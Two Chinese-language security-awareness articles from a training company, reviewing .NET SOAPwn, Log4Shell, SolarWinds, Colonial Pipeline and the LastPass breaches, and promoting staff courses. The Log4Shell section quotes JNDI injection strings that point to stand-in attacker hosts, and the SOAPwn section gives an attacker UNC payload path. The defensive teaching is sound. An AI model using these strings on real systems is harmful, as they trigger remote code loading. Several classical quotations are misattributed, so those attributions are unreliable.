Author: admin

安全如山——从真实漏洞到智能时代的防护之路

admin

前言：头脑风暴的四幕剧

想象一下，您正坐在办公室的咖啡机旁，手里拎着刚买的智能咖啡杯，屏幕上跳出了四个惊心动魄的安全事故画面——它们或许离我们并不遥远，却足以让每一位职工在“咖啡香”中警醒。下面让我们先用头脑风暴的方式，勾勒四个典型且深具教育意义的案例，随后再深入剖析每一个事件的根因、危害与防御经验。

案例 简要情境 教训点
1️⃣ .NET SOAPwn：WSDL 跨域写文件 黑客利用 .NET Framework 的 SOAP 客户端代理，将 file:// 伪协议写入 UNC 路径，成功在目标服务器上植入 WebShell，实现任意代码执行。 输入校验失效、信任边界模糊、不可信的 WSDL是致命漏洞。
2️⃣ Log4j （Log4Shell） 攻击者通过日志中插入 ${jndi:ldap://attacker.com/a}，触发 Log4j 2.x 的 JNDI 远程代码加载，全球数十万服务器被“一键”入侵。 第三方库的盲目信任、日志即代码的错误认知。
3️⃣ SolarWinds 供应链攻击 攻击者在 Orion 平台的构建流程中注入后门，数千家企业与政府机构的更新包被篡改，导致潜伏式后门持续数月未被发现。 供应链安全缺口、代码审计不足、最小权限原则未落实。
4️⃣ Colonial Pipeline 勒索 黑客利用 VPN 失效的多因素验证，成功渗透内部网络，部署勒索软件导致美国东海岸燃油供应中断，经济损失逾数亿美元。 远程访问控制薄弱、备份与恢复策略缺失、应急响应不及时。

下面，让我们依次展开每个案例的“现场剖析”。

案例一：.NET SOAPwn —— WSDL 让文件写“穿墙”

1. 背景回顾

2025 年 12 月，WatchTowr Labs 的安全研究员 Piotr Bazydlo 在 Black Hat Europe 会议上公布了一项影响广泛的 .NET 框架漏洞，内部代号 SOAPwn（亦称 “invalid cast vulnerability”）。该漏洞根植于 ServiceDescriptionImporter 与 HttpWebRequest 组合使用时，对 WSDL 导入的 URL 校验缺失。攻击者只需提供一个精心构造的 WSDL，其中的 import 节点指向 file:// 或 UNC（如 \\attacker\share\payload.aspx）路径，便可诱导受害应用将 SOAP 请求直接写入磁盘，甚至上传完整的 ASPX/WebShell。

2. 攻击链简化

  1. 诱导目标加载恶意 WSDL：通过钓鱼邮件、内部系统参数篡改或 DNS 劫持，让目标应用在运行时自动下载攻击者控制的 WSDL。
  2. 生成 HTTP 客户端代理：应用使用 ServiceDescriptionImporter 自动生成代理类，默认不校验 import URL。
  3. 构造恶意 SOAP 请求：攻击者在请求体中嵌入文件写入指令，利用 file:// 或 UNC 路径将请求内容写入服务器共享目录。
  4. 文件写入成功 → WebShell 落地：攻击者随后访问写入的文件，获得可执行的 WebShell，完成后续 RCE（远程代码执行）或 NTLM Relay。

3. 影响范围

  • 核心产品：Barracuda Service Center RMM（CVE‑2025‑34392，CVSS 9.8）、Ivanti Endpoint Manager（CVE‑2025‑13659，CVSS 8.8）。
  • 开源平台：Umbraco 8（已 EoL，仍在大量中小企业中使用）。
  • 潜在波及：所有使用 .NET Framework（4.x 及以上）生成 SOAP 代理的内部系统、ERP、财务、HR 等关键业务系统。

4. 防护思路

防御层面 关键措施
代码层 禁止使用 ServiceDescriptionImporter 自动生成代理；若必须使用，显式校验 import URL、仅允许 http/https 协议。
配置层 在应用服务器上关闭 file://、ftp://、smb:// 等文件协议的网络访问权限；使用 AppLocker 限制写入路径。
运行时监控 部署基于行为的 WAF/IPS，检测异常的文件写入系统调用；开启 PowerShell 脚本审计日志。
供应链审计 对所有第三方 NuGet 包进行 SBOM（软件物料清单）管理，确保不使用已知风险库。
培训教育 提升开发团队对不可信输入（Untrusted Input）处理的安全意识，落实 “输入即输出，必须清洗” 的安全编程原则。

“安全的最高境界，是让攻击者在第一步就止步。”——《孙子兵法·计篇》

案例二：Log4j （Log4Shell）——日志也能成为 “后门”

1. 事件概述

2021 年 12 月，Log4j 2.14.1 版本的 MessagePatternConverter 被发现能够解析 JNDI（Java Naming and Directory Interface）引用。攻击者只需在日志中写入 ${jndi:ldap://evil.com/a}，Log4j 会自动向该 LDAP 服务器发起请求并执行返回的恶意类，从而实现 远程代码执行。此次漏洞（CVE‑2021‑44228）在 24 小时内被全球上万家企业曝露，形成了前所未有的 “一键式” 破坏浪潮。

2. 关键教训

  • 依赖链安全：企业往往把开源库视作“黑盒”，未进行安全审计。
  • 日志的双刃剑：日志是审计利器，却可以被滥用为代码执行的入口。
  • 快速响应的重要性：漏洞公开后，数十万服务器在数天内被攻击，若未及时更新补丁，损失不可估量。

3. 防御要领

  1. 更新至 2.17.0+：官方已发布多次补丁，关闭 JNDI 解析或限制协议。
  2. 日志输入白名单：对日志内容进行字符过滤，禁止 ${…} 模式的动态解析。
  3. 采用 SCA（Software Composition Analysis）：持续扫描项目依赖，及时发现高危库。
  4. 日志审计加密：对关键日志进行完整性校验，防止被篡改后植入恶意载荷。

“工欲善其事，必先利其器。”——《礼记·学记》

案例三：SolarWinds 供应链攻击——隐藏在更新背后的“漩涡”

1. 攻击概述

2020 年 12 月，美国网络安全机构披露，黑客通过入侵 SolarWinds Orion 的软件构建流程，植入名为 “SUNBURST” 的后门。该后门被伪装进正规软件更新包，随同数千家企业与政府机构的自动升级分发。攻击者借此取得长期潜伏的网络入口，进行数据窃取、内部横向渗透。

2. 安全漏洞根源

  • 构建环境缺乏隔离：攻破了 CI/CD 服务器，未对内部签名进行二次验证。
  • 代码签名机制失效：后门代码使用了合法的签名证书，未实现多层验签。
  • 供应链透明度不足：使用的第三方组件（例如第三方 SDK）未进行完整性校验。

3. 防护措施

防御层级 措施
构建安全 将代码构建环境与生产环境彻底隔离，使用硬件安全模块（HSM）进行签名。
二次校验 对所有外部供应商提供的二进制文件执行象征性哈希（SHA‑256）对比、签名验证。
最小信任 采用零信任模型，对内部服务间的调用强制身份验证与细粒度授权。
供应链监控 使用 SBOM 与供应链追踪平台，实时监测依赖变化和异常发布。
应急演练 定期进行供应链渗透演练，提升全链路响应速度。

“兵马未动，粮草先行。”——《孙子兵法·计篇》

案例四：Colonial Pipeline 勒索——远程访问的隐形陷阱

1. 事件回顾

2021 年 5 月，美国最大燃油管道运营商 Colonial Pipeline 遭受 DarkSide 勒索软件攻击。黑客利用公司的 VPN 账户（密码泄露于暗网）直接登录内部网络，绕过多因素认证（MFA）缺失的环节，随后内部横向渗透、加密关键系统，导致燃油供应中断，股价暴跌。

2. 核心教训

  • 多因素认证不可或缺：单因素（密码）已难以抵御凭据泄露。
  • 安全补丁与资产清单：未对 VPN 软件进行及时更新，导致已知漏洞继续被利用。
  • 备份与恢复的疏漏：关键业务系统缺乏离线恢复点，一旦加密只能付费赎金。

3. 防御建议

  1. 强制 MFA：对所有远程访问渠道（VPN、RDP、Citrix）强制使用基于硬件令牌的 MFA。
  2. 零信任网络访问（ZTNA）：采用基于身份、设备、行为的动态访问控制。
  3. 离线备份与冷备份：定期将关键数据镜像保存至不可联网的存储介质。
  4. 凭据管理：使用密码保险箱，定期检测泄露的凭据并强制更换。
  5. 安全运营中心（SOC）监控：实时检测异常登录、横向移动行为，快速触发封堵。

“不积跬步，无以至千里；不积小流，无以成江海。”——《荀子·劝学》

信息化、无人化、智能化时代的安全挑战

1. 信息化：数据是血液，安全是心脏

在企业数字化转型的浪潮中，业务系统、生产线、供应链、客户关系管理（CRM）等都已经形成了高度耦合的 信息化 生态。每一条数据流动都可能成为攻击者的入口。

  • 数据孤岛的危害：缺乏统一的资产与数据分类，导致安全策略难以落实。
  • 云服务的双刃性：云原生技术提升弹性，但错配的权限模型会放大风险。

2. 无人化：机器人也需要“安全感”

无人化生产线、自动驾驶物流车、无人机巡检等正逐步替代人力。

  • 系统固件泄露：设备固件若未签名或未加密，可能被植入后门。
  • 物理隔离失效：即便设备不在人员可接触范围，网络连通仍使其暴露。

3. 智能化：AI 的“黑盒”与对抗

机器学习模型、智能分析平台、自动化威胁情报（SOAR）正成为防御核心。

  • 模型投毒：攻击者可通过投毒数据使模型误判，导致错误的自动化响应。
  • 对抗样本：AI 检测系统若未进行对抗训练，易被精心构造的攻击样本逃逸。

“智者千虑，必有一失；愚者千错，必有一得。”——《韩非子·说难》

呼吁：共筑安全防线，走进下一轮信息安全意识培训

面对 信息化、无人化、智能化 三位一体的趋势，每一位职工都是组织安全防线的关键节点。单靠技术防御是不够的，人的因素 才是最易被忽视、也是最值得投入的环节。为此，朗然科技 将于下月正式启动全员安全意识培训，课程包括：

  1. 安全思维与风险评估：从案例中提炼思维模型，学会快速识别业务场景的安全隐患。
  2. 安全编码与审计实战：针对 .NET、Java、Python 等主流语言的安全编码规范，配合静态代码分析工具的实战演练。
  3. 云安全与零信任实现：了解云原生安全基线、IAM 最佳实践，掌握 ZTNA 与 SASE 的落地路径。
  4. 无人化设备安全加固：固件签名、OTA 更新安全、网络隔离策略的完整生命周期管理。
  5. AI 安全与对抗防御：认识模型投毒、对抗样本的危害，学习构建安全可信的机器学习管道。

“防微杜渐，方能臻于至善。”——《礼记·大学》

参与方式

  • 报名渠道：公司内部门户 → “培训中心” → “信息安全意识培训”。
  • 时间安排：本月 15 日至 30 日 共计 5 场，每场 90 分钟，支持线上线下双重模式。
  • 奖励机制：完成全部课程并通过考核的员工，将获得 “安全达人” 电子徽章，计入年度绩效；同时公司将抽取 10 名 获得 2025 年度安全工具礼包。

我们的期待

  • 提升警觉：让每位同事在接收邮件、点击链接、使用第三方库时，都能本能地思考“这安全么？”
  • 养成习惯：将信息安全融入日常工作流，如代码提交前的安全审计、文档共享前的权限检查。
  • 共建文化：在公司内部形成“发现问题、主动上报、快速修复”的正循环，构建 “安全第一、创新共赢” 的企业文化氛围。

“千里之堤，溃于蚁穴；万里之航，误于细流。”——《孟子·告子》

让我们以案例为镜，以趋势为帆，以培训为桨，携手驶向 零风险 的数字未来。信息安全不再是“IT 的事”，而是每一位员工的责任与荣光。立即加入培训，成为公司最可靠的 “安全护盾”，让攻击者在我们的防线面前止步不前！

安全如山，人人可筑；风险如潮，合力可挡。

昆明亭长朗然科技有限公司倡导通过教育和培训来加强信息安全文化。我们的产品不仅涵盖基础知识，还包括高级应用场景中的风险防范措施。有需要的客户欢迎参观我们的示范课程。

  • 电话：0871-67122372
  • 微信、手机：18206751343
  • 邮件：info＠securemymind.com
  • QQ: 1767022898

从真实泄密教训看“数字化时代”的安全防线——让每一位员工都成为信息安全的第一道防线

admin

前言：头脑风暴——想象四个“如果”

在座的每一位同事，想象一下下面四个场景，假设它们真的发生在我们的公司里，会带来怎样的冲击？

  1. 如果一名研发工程师的工作笔记本在系统升级期间被植入后门，黑客利用这台机器偷走了公司核心源代码，甚至连内部的加密密钥也被抓走——我们的产品研发计划瞬间失控，商业机密被竞争对手轻易复制。

  2. 如果公司的高级运维人员把个人云盘密码和公司管理密码用同一个主密码锁住，黑客通过一次钓鱼邮件拿到个人密码后，直接打开了公司最关键的备份仓库，用户数据被一次性泄露，品牌声誉瞬间跌入谷底。

  3. 如果安全运营中心（SOC）因内部沟通失误或邮件名单过时，错过了云服务商发来的异常登录警报，攻击者在系统中潜伏数月，悄然修改了访问权限，最终导致内部账户被批量创建，形成“内部僵尸网”。

  4. 如果公司在推出新的人脸识别门禁系统时，没有充分进行渗透测试和合规审计，导致系统漏洞被公开曝光，导致大量监控视频被外部获取，员工隐私被侵犯，甚至被用于非法活动。

以上四个“如果”，看似离我们很遥远，却是最近几年全球范围内真实发生的案例的缩影。它们共同提醒我们：信息安全不是某个部门的独立任务，而是每个人每天的必修课。下面，我将结合近日《The Register》披露的 LastPass 两次泄密事件，以及同文中提到的其他典型案例，做一次深度剖析，让大家在脑中形成生动的风险画面。

案例一：LastPass 2022 MacBook 攻破——“升级期间的暗门”

事件回顾

2022 年 8 月，LastPass（全球著名密码管理服务商）先后经历了两起安全事故。第一起发生在一名公司软件研发人员的工作用 MacBook Pro 上。该笔记本恰逢 macOS 系统例行升级，攻击者趁机植入后门，获取了研发环境的访问权，进而窃取了 14 个代码仓库（共约 200 个）。这些仓库中不仅包含未经加密的公司凭证，还包括 SSE‑C（Server‑Side Encryption with Customer‑Provided Key）用于加密备份的密钥。

失误点剖析

失误点 具体表现 潜在后果
系统升级期的安全监控不足 macOS 升级期间没有强制的完整性校验或基线检测 攻击者可在系统自检失效的窗口植入后门
代码仓库访问控制宽松 仅凭开发者账号即可读取所有敏感仓库 攻击者一次入侵即可横向获取大量源码与密钥
凭证管理未做到最小化 源码中直接硬编码了 AWS 访问密钥与 SSE‑C 密钥 若仓库被窃取，云资源可被直接操控

教训与对策（适用于我司）

  1. 关键系统升级需强制双因素确认（管理员批准 + 现场审计日志）；
  2. 代码仓库实行基于职责的最小权限原则（RBAC），敏感凭证统一存放于内部机密库，禁止明文出现；
  3. 每次代码提交后自动触发静态分析和凭证泄漏检测（如 GitGuardian / TruffleHog）；
  4. 对所有开发终端实施端点检测与响应（EDR），并在系统补丁安装前后进行基线比对。

案例二：LastPass 2022 DevOps 键盘记录——“个人设备的安全裂缝”

事件回顾

仅仅数日后，第二起更具破坏性的泄密出现。一名美国资深 DevOps 工程师使用的个人桌面 PC 被 CVE‑2020‑5741（Plex Media Server 漏洞）所利用，黑客在该机器上植入键盘记录器，窃取了工程师的 主密码 与 会话 Cookie，进而绕过多因素认证（MFA），获取了 LastPass 在 AWS 上的访问密钥及 SSE‑C 解密密钥。利用这些密钥，攻击者下载了公司完整的备份数据库，导致 160 万+ 名用户的个人信息（姓名、邮箱、电话、地址）被泄露。

失误点剖析

失误点 具体表现 潜在后果
个人与业务账户共用同一密码 公司的高级员工被鼓励使用相同主密码管理个人与企业账户 攻击者只需破解个人密码，即可进入业务核心
未对关键账户实行硬件安全模块（HSM）或 YubiKey 等物理 MFA 仅依赖软件 MFA，易被 Cookie 劫持绕过 攻击者获取会话后可长期持有权限
安全运营中心对云告警响应迟缓 AWS GuardDuty 警报发送至过时的邮件分发名单，导致 18 天后才被发现 资产被持续窃取、破坏，风险扩大

教训与对策（适用于我司）

  1. 严禁个人账号与业务账号使用同一套凭证，强制实行业务专用密码或企业 SSO；
  2. 关键账号必须配备硬件安全密钥（如 FIDO2），兼顾密码与物理因子；
  3. 统一、实时的安全告警分发平台（如 Splunk、Microsoft Sentinel），保障所有关键人员即时收到；
  4. 对员工个人设备进行合规审计，在公司网络访问前强制安装企业级防病毒与 EDR。

案例三：英国数据监管机构（ICO）对“个人设备与业务账户混用”开具 £1.2 百万 罚单——监管的铁拳

事件概述

在上述两起事件的背后，英国信息专员办公室（ICO）对 LastPass 开出了 £1.2 百万（约合 $1.6 百万）的巨额罚金，理由是 “未能实施足够稳健的技术与组织安全措施”。ICO 重点指出：

  • 组织层面的安全治理缺失：公司政策鼓励员工将个人账号和业务账号绑定，同一主密码导致攻击面扩大；
  • 监控与响应机制不完善：告警信息在跨部门交接期间丢失，导致迟迟未被 SOC 处理。

监管意义

这一次罚单并非单纯的金钱惩戒，而是 对企业安全治理体系的强力警示。在数字化、自动化、智能化日益渗透的今天，监管机构正通过更高的合规门槛来推动企业完善整体安全防御。

对我们公司的启示

  • 安全文化必须上升到公司治理层面，制定并严格执行《信息安全管理制度》；
  • 合规审计需要常态化，每半年对安全策略、技术实现、人员培训进行一次全链路检查；
  • 跨部门协作平台要保持刷新，确保所有关键安全通知都能够准确送达负责人员。

案例四：其他行业“安全失误”——筑牢防线的横向参照

在 LastPass 事件之外，本文素材还提到以下真实案例，值得我们从不同角度进行横向学习。

案例 关键失误 防御建议
Home Office 警惕警报：警惕警报系统内部缺陷，导致警察部门的面部识别模型漏洞未及时披露 缺乏安全漏洞披露制度，内部沟通渠道不畅 建立 漏洞响应与披露流程，鼓励内部安全研究员主动报告
伦敦地方议会信息系统瘫痪：共享 IT 系统被攻击，导致跨部门业务中断 共享资源缺乏细粒度访问控制 实行 最小化共享、细化权限，并对关键系统部署 网络分段
军方数据泄露：内部审批不严，导致机密文件外泄 机密信息流转缺乏审计追踪 引入 数据防泄漏（DLP） 与 审计日志自动化，实现全链路可追溯
谷歌 Chrome 0‑day 修补：未公开 CVE 信息导致用户滞后更新 信息披露不及时，用户防御窗口过长 采用 安全补丁快速推送机制 与 自动更新，降低漏洞利用窗口

上述案例从政府部门、公共服务、军工以及大型互联网公司四个不同的业务形态出发，展示了组织治理、技术细节、流程执行在信息安全中的同等重要性。对我们来说，只要把这些教训落实到日常工作细节里，任何行业都能构筑起坚固的数字防线。

自动化·智能化·数据化时代的安全新课题

1. 自动化：安全即服务（SecOps as a Service）

在当今的 CI/CD 流水线中，自动化 已经成为提升研发效率的核心手段。与此同时，安全自动化（Security Automation）也必须同步跟进。我们需要：

  • 代码安全扫描：每一次 git push 自动触发 SAST、SCA（软件成分分析），阻止含有硬编码凭证的代码进入主分支；
  • 漏洞修复自动化：利用 Patch Management 平台，统一推送系统安全补丁，缩短 “漏洞曝光 → 修补” 的时间窗口；
  • 合规检测机器人：对关键资产的配置进行实时对比，自动生成合规报告。

案例对应：LastPass 在第一起事件中因缺乏代码安全检测，泄露了敏感凭证。我们可以通过自动化把这类风险降至零。

2. 智能化：AI‑Driven 威胁情报

人工智能正从辅助工具迈向主动防御。企业可采用：

  • 行为分析（UEBA）：通过机器学习模型识别异常登录、异常数据流动，提前预警；
  • 自动化响应（SOAR）：一旦检测到异常，系统自动隔离受影响账户，阻断攻击链；
  • 威胁情报共享平台：实时订阅行业 IOCs（Indicators of Compromise），让防御体系保持最新。

案例对应：LastPass 第二起泄密因为 AWS GuardDuty 告警未被及时处理才酿成大祸。部署 UEBA+SOAR 能够在几分钟内完成自动封锁。

3. 数据化：从“数据孤岛”到 “数据治理”

我们正迈向 数据驱动的业务决策，但数据本身也是攻击者的“肥肉”。要做到：

  • 数据分类分级：对所有业务数据进行分层（公共、内部、机密、极密），不同级别采用不同加密与访问控制；
  • 加密策略统一：使用 KMS（密钥管理服务）统一管理密钥，杜绝硬编码；对备份数据实行 端到端加密；
  • 审计日志可视化：把所有数据访问操作记录并实时展示，异常时自动报警。

案例对应：LastPass 对备份数据采用 SSE‑C 加密，却因密钥泄露导致备份可被下载。统一 KMS 与访问控制即可避免同类事故。

呼吁：参与信息安全意识培训——让每一次点击都有价值

面对自动化、智能化、数据化的深度融合，我们每个人都必须成为 安全链条中的关键节点。为此，公司即将在 2026 年第一季度 启动为期 四周、覆盖全员的 信息安全意识提升培训，包括：

  1. 面向全员的“安全基础速成营”（2 小时线上直播），帮助大家了解密码管理、钓鱼邮件识别、设备加固等核心要点；
  2. 针对技术团队的“Secure DevOps 实战工作坊”（4 小时实操），演练代码审计、容器安全、云安全基线打造；
  3. 针对管理层的“合规与治理实务”（1.5 小时案例研讨），解读 GDPR、英国 ICO 等监管要求，明确组织治理职责；
  4. 模拟红蓝对抗演练：全员参与的 “蓝队防御演练”，通过模拟攻击了解自身防护盲点，进一步强化安全思维。

培训亮点：

  • 沉浸式案例教学：直接使用 LastPass 真实事件、UK ICO 处罚案例，让抽象概念落地；
  • 即时反馈机制：通过线上测评与实时打分，帮助每位学员了解自己的安全成熟度；
  • 奖励激励：完成所有课程并通过考核的同事，将获得公司内部 “安全卫士徽章”，并有机会赢取 安全硬件礼包（如 YubiKey、硬盘加密设备）；
  • 后续跟踪：培训结束后，安全团队将对关键岗位进行 30 天、90 天的行为审计，确保学习成果转化为实际行动。

为什么每个人都必须参与？

  • 密码泄露的成本：据 IDC 报告，单次数据泄露平均成本已超过 USD 4 million，而一次成功钓鱼攻击即可导致整条业务链路被破坏；
  • 合规压力不容忽视：ICO、GDPR、ISO 27001 等监管体系都要求企业 “人—技术—流程” 三位一体的安全防护；未达标可能面临巨额罚款甚至业务停摆；
  • 企业竞争力来源于信任：在数字化转型的浪潮中，客户最看重的往往是 “数据安全”，而不是单纯的功能特性。

让我们把 “安全是每个人的事” 这句话从口号变成行动，把 “防护” 从技术团队的专属任务，扩展到所有岗位的日常行为。

结束语：从案例中学，从行动中赢

回顾 LastPass 的两次失误、ICO 的严厉处罚、以及其他行业的安全疏漏，我们可以看到 “技术不严、流程不清、组织不合，危机必至”。信息安全不是一次部署、一套防火墙就能解决的，它是一场 持续的、全员参与的风险管理。

在自动化、智能化、数据化的浪潮中，我们既是 数字化的受益者，也是 潜在的风险承载者。只有让安全意识扎根于每一次点击、每一次授权、每一次代码提交，才能在激烈的竞争中保持 信任之剑 的锋利。

请大家积极报名即将开启的 信息安全意识提升培训，让我们共同筑起一道 不可逾越的防线，守护企业的数字资产，也守护每一位同事的职业安全。

让安全成为习惯，让合规成为自豪，让创新在安全的土壤中绽放！

信息安全意识提升 信息防护

昆明亭长朗然科技有限公司的信息安全管理课程专为不同行业量身定制，旨在提高员工对数据保护重要性的认知。欢迎各界企业通过我们，加强团队成员的信息安全意识。

  • 电话：0871-67122372
  • 微信、手机：18206751343
  • 邮件：info＠securemymind.com
  • QQ: 1767022898